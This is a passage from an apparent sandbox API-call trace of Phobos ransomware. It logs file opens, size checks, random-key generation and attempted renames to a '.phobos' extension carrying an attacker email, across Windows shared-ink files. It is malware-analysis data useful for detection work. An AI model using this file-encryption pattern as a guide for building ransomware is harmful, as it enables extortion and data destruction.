shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0048.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.355] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.356] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=221) returned 1 [0048.356] CloseHandle (hObject=0x31c) returned 1 [0048.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0048.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.356] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.358] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=471) returned 1 [0048.358] CloseHandle (hObject=0x31c) returned 1 [0048.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0048.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.359] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.359] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1069) returned 1 [0048.359] CloseHandle (hObject=0x31c) returned 1 [0048.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0048.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.360] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.362] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=213) returned 1 [0048.362] CloseHandle (hObject=0x31c) returned 1 [0048.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0048.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.363] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.363] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=924) returned 1 [0048.363] CloseHandle (hObject=0x31c) returned 1 [0048.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0048.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.364] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.364] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=215) returned 1 [0048.364] CloseHandle (hObject=0x31c) returned 1 [0048.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0048.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.367] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.407] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=591) returned 1 [0048.407] CloseHandle (hObject=0x31c) returned 1 [0048.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0048.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.408] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.409] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=498624) returned 1 [0048.409] CloseHandle (hObject=0x31c) returned 1 [0048.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0048.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.410] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.428] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2515696) returned 1 [0048.428] CloseHandle (hObject=0x31c) returned 1 [0048.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0048.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0048.428] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0048.428] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.436] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2418) returned 1 [0048.436] CloseHandle (hObject=0x31c) returned 1 [0048.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0048.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.436] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.438] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2462) returned 1 [0048.438] CloseHandle (hObject=0x31c) returned 1 [0048.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0048.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.438] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.439] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2436) returned 1 [0048.439] CloseHandle (hObject=0x31c) returned 1 [0048.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0048.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.440] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.520] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2514) returned 1 [0048.520] CloseHandle (hObject=0x31c) returned 1 [0048.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0048.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.520] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.521] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2616) returned 1 [0048.521] CloseHandle (hObject=0x31c) returned 1 [0048.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0048.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.521] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.522] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2618) returned 1 [0048.522] CloseHandle (hObject=0x31c) returned 1 [0048.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0048.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.524] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.525] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2628) returned 1 [0048.525] CloseHandle (hObject=0x31c) returned 1 [0048.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0048.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.527] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 